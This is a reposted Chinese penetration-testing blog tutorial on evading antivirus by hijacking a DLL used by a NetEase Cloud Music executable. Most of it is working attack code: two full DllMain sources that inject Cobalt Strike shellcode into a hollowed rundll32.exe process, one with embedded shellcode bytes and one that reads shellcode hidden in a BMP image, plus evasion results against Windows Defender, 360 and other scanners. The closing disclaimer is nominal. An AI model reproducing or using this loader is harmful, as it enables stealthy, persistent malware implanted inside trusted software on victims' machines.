渗透技巧 | 有手就行的白加黑实战免杀

admin 2022年6月27日12:52:58评论101 views字数 4659阅读15分31秒阅读模式

扫码领资料

获渗透教程

免费&进群

渗透技巧 | 有手就行的白加黑实战免杀
渗透技巧 | 有手就行的白加黑实战免杀

作者:s1mple(freebuf) 

原文地址:https://www.freebuf.com/articles/system/333690.htm

最近一直在打攻防,很多时候都需要用到免杀,那么怎么能快速做免杀和权限维持就是一个问题,于是就想起来利用白加黑快速做免杀或权限维持,俗称有手就行,废话不多说直接开干!

寻找合适文件

文章主题是白加黑,肯定是需要寻找一些合法的程序,我们这里利用dll劫持去做白加黑免杀或权限维持,所以尝试是否存在有可以劫持dll的exe文件。

平时大家应该都会用到网抑云音乐,所以就想着拿它做一个例子,文件夹内共发现这么三个exe。

渗透技巧 | 有手就行的白加黑实战免杀


在尝试的过程中发现cloudmusic_reporter.exe(并发现是32位程序)单独复制出来运行会产生报错缺少dll文件。

渗透技巧 | 有手就行的白加黑实战免杀

将缺失的dll文件复制到相同文件夹后即可成功运行,而且他并没有对dll文件做签名校验。

渗透技巧 | 有手就行的白加黑实战免杀


0x02 dll函数模仿


既然确定了文件,那么肯定会需要一些调试分析工具,这里用到的是集成Aheadlib后Dependencies。

下载地址:https://pan.baidu.com/s/1AByZbmrXupmX-TF7tGfJqg 

提取码:8ovq

使用也非常简单,首先打开GUI文件,再将dll拖入其中即可。

渗透技巧 | 有手就行的白加黑实战免杀

右键利用Aheadlib将dll函数模仿导出到指定文件夹。

渗透技巧 | 有手就行的白加黑实战免杀


生成之后总共是三个文件 .c .h .asm。下文会详细说明都是干什么用的。

渗透技巧 | 有手就行的白加黑实战免杀


分析生成

打开Visual Studio创建C++win32动态链接库项目。

渗透技巧 | 有手就行的白加黑实战免杀

将之前生成的三个文件复制到项目文件夹后手动拖入到解决方案,并在入口处引用头文件。

渗透技巧 | 有手就行的白加黑实战免杀

接下来看一下具体这些文件都有什么作用。

libcurl.c这个文件运行的时候会获取dll内的函数并将其保存到指针内。

指针会去改变原本的函数地址进行链接,使用汇编的方式进行跳转,也就是libcurl_jump.asm这个文件。

渗透技巧 | 有手就行的白加黑实战免杀

由于不需要用到跳转所以采用最笨的方法,去汇编文件内手动删除跳转。

渗透技巧 | 有手就行的白加黑实战免杀

汇编文件需要手动配置,具体怎么配置在文件最开始处已经标明了。

渗透技巧 | 有手就行的白加黑实战免杀

尝试生成,发现可以成功生成就可以了。

渗透技巧 | 有手就行的白加黑实战免杀


shellcode加载


直接百度找一个傀儡进程注入源码复制进去即可。

渗透技巧 | 有手就行的白加黑实战免杀

随后打开CS生成一段32位的shellcode保存。

并复制到源码内,根据粘贴进来的shellcode对源码进行修改完善。

这里将修改好的源代码贴出来方便大家复制。

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "framework.h"
#include "libcurl.h"
#include "windows.h"

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
uunsigned char hexData[] = "xe8x00x00x00x00x58x5fx05x5bx03x00x00x68x8cx00x00x00x50x57x55x8bxecx83xecx68x53x56x57x6ax22x68x64xfcxfbx3cxe8x30x02x00x00x6ax22x8b";

char* v7A = (char*)VirtualAlloc(0, _countof(hexData), 0x3000u, 0x40u);
memcpy((void*)v7A, hexData, _countof(hexData));

struct _PROCESS_INFORMATION ProcessInformation;
struct _STARTUPINFOA StartupInfo;
void* v24;
CONTEXT Context;
DWORD DwWrite = 0;
memset(&StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.cb = 68;
BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);
if (result)
{
Context.ContextFlags = 65539;
GetThreadContext(ProcessInformation.hThread, &Context);
v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, _countof(hexData), 0x1000u, 0x40u);
WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, _countof(hexData), &DwWrite);
Context.Eip = (DWORD)v24;
SetThreadContext(ProcessInformation.hThread, &Context);
ResumeThread(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hThread);
result = CloseHandle(ProcessInformation.hProcess);
}


TerminateProcess(GetCurrentProcess(), 0);
};

case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

生成dll文件,并将其重命名为libcurl.dll,与cloudmusic_reporter.exe放在同一文件夹内,双击运行查看是否上线成功。

渗透技巧 | 有手就行的白加黑实战免杀

这样还是不够的,因为没有加密处于裸奔的状态,写个加密算法又很麻烦,这就想到了把shellcode存放在图片内进行隐写。

这里需要用到开源的工具
github:https://github.com/Mr-Un1k0d3r/DKMC

利用工具配合shellcode生成图片。

渗透技巧 | 有手就行的白加黑实战免杀

随后继续更改源代码,从图片文件读取shellcode。

源代码如下:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "framework.h"
#include "windows.h"
#include "libcurl.h"
#include <stdlib.h>
#include <stdio.h>


BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
FILE* fp; // 定义流式文件操作变量fp,FILE结构体在stdio.h里面有定义
size_t size; // 定义文件字节数变量size
unsigned char* buffer; // 定义缓存指针变量

fp = fopen("cloudmusic.bmp", "rb");
// fseek()负号前移,正号后移
fseek(fp, 0, SEEK_END); // 文件指针指向文件末尾
// ftell()返回给定流 stream 的当前文件位置
size = ftell(fp); // size值为文件大小
fseek(fp, 0, SEEK_SET); // 文件指针指向文件开头
buffer = (unsigned char*)malloc(size); // 动态申请图片大小的内存空间(数组指针)
fread(buffer, size, 1, fp); // 从fp读取和显示1个size大小的数据

char* v7A = (char*)VirtualAlloc(0, size, 0x3000u, 0x40u);
memcpy((void*)v7A, buffer, size);

struct _PROCESS_INFORMATION ProcessInformation;
struct _STARTUPINFOA StartupInfo;
void* v24;
CONTEXT Context;
DWORD DwWrite = 0;
memset(&StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.cb = 68;
BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);
if (result)
{
Context.ContextFlags = 65539;
GetThreadContext(ProcessInformation.hThread, &Context);
v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, size, 0x1000u, 0x40u);
WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, size, &DwWrite);
Context.Eip = (DWORD)v24;
SetThreadContext(ProcessInformation.hThread, &Context);
ResumeThread(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hThread);
result = CloseHandle(ProcessInformation.hProcess);
}


TerminateProcess(GetCurrentProcess(), 0);
};
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

生成dll文件,在将exe,dll及图片放在一起再次运行查看是否可以成功上线。

渗透技巧 | 有手就行的白加黑实战免杀免杀效果

在VT上查杀dll和图片分别是4、5,这是没做任何加密的情况下,总体来看效果还算不错。

渗透技巧 | 有手就行的白加黑实战免杀

Windows Defender

渗透技巧 | 有手就行的白加黑实战免杀

火绒

渗透技巧 | 有手就行的白加黑实战免杀

360

渗透技巧 | 有手就行的白加黑实战免杀

电脑管家

渗透技巧 | 有手就行的白加黑实战免杀


总结

总体来看到这就结束了,但还有很多坑没有解决,比如占用主线程导致不执行后续代码使软件本身功能失效,及如何利用工具自动化挖掘和后续的UAC等等。

感谢实验室成员0x3135的爆肝产出,敬请期待后面的更新吧~

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@

学习更多渗透技能!体验靶场实战练习

渗透技巧 | 有手就行的白加黑实战免杀

hack视频资料及工具

渗透技巧 | 有手就行的白加黑实战免杀

(部分展示)


往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞


看到这里了,点个“赞”、“再看”吧

原文始发于微信公众号(白帽子左一):渗透技巧 | 有手就行的白加黑实战免杀

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月27日12:52:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透技巧 | 有手就行的白加黑实战免杀http://cn-sec.com/archives/1146562.html

发表评论

匿名网友 填写信息